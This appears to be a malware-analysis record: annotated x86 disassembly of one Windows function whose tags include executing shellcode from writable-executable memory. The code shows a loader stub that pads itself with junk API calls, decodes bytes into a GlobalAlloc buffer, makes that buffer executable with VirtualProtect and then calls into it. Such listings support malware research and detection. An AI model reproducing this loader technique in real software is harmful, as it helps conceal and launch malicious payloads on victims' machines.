Function at 0x401375
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate thread

Disassembly:
mov eax, 0x40ff60
call fcn.0040ff3c
mov eax, 0x2574
call fcn.004085e0
mov ecx, dword [0xec54a4]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x40146f
push 0x30
lea eax, [ebp - 0x68]
mov dword [ebp - 0x6c], esi
push esi
push eax
call fcn.0040bd30
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push esi
push esi
push str.zazaperumefijayesubusi_tofipareceh
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x980]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push esi
lea eax, [ebp - 0xd80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x30]
call fcn.004025c9
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.std::bad_alloc.0
call fcn.00402607
push esi
push esi
call fcn.004031f1
push esi
push esi
call fcn.0040366f
push esi
call fcn.00403633
movss xmm0, dword [0x417048]
add esp, 0x14
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402e4d
push esi
fstp st(0)
call fcn.00403633
add esp, 0x10
call fcn.00403c4e
mov eax, dword [0x41dfa8]
add ecx, 0x1134b
push ecx
push esi
mov dword [0xec55a8], eax
mov dword [0xec54a4], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x20]
mov dword [0xec53fc], eax
push ecx
push 0x40
push dword [0xec54a4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x1d80]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec edi
jne 0x4014aa
mov ecx, dword [0xec54a4]
mov edi, esi
test ecx, ecx
je 0x40153f
mov eax, dword [0xec55a8]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xec53fc]
mov byte [eax + edi], cl
mov ecx, dword [0xec54a4]
cmp ecx, 0x490
jne 0x40153a
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0xd80]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x580]
push eax
push str.juroguxuvera
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xec54a4]
inc edi
cmp edi, ecx
jb 0x4014c7
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4015b4
push str.yavisuribicovewa
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x580]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push esi
lea eax, [ebp - 0x1d80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
lea eax, [ebp - 0x1180]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x2580]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xec54a4]
inc edi
cmp edi, 0x38681
jl 0x401541
mov ebx, dword [0xec53fc]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x4015fa
cmp ecx, 0x959
jne 0x4015e5
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, ebx
call fcn.00401237
add ebx, 8
dec edi
je 0x4015fa
mov ecx, dword [0xec54a4]
jmp 0x4015cc
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40161a
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xec53fc], eax
inc edi
cmp edi, 0x674db
jl 0x4015fc
push 0x7b
pop edi
cmp dword [0xec54a4], 0x86
jne 0x401674
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push esi
lea eax, [ebp - 0x24]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x1580]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec edi
jne 0x401626
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xec53fc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret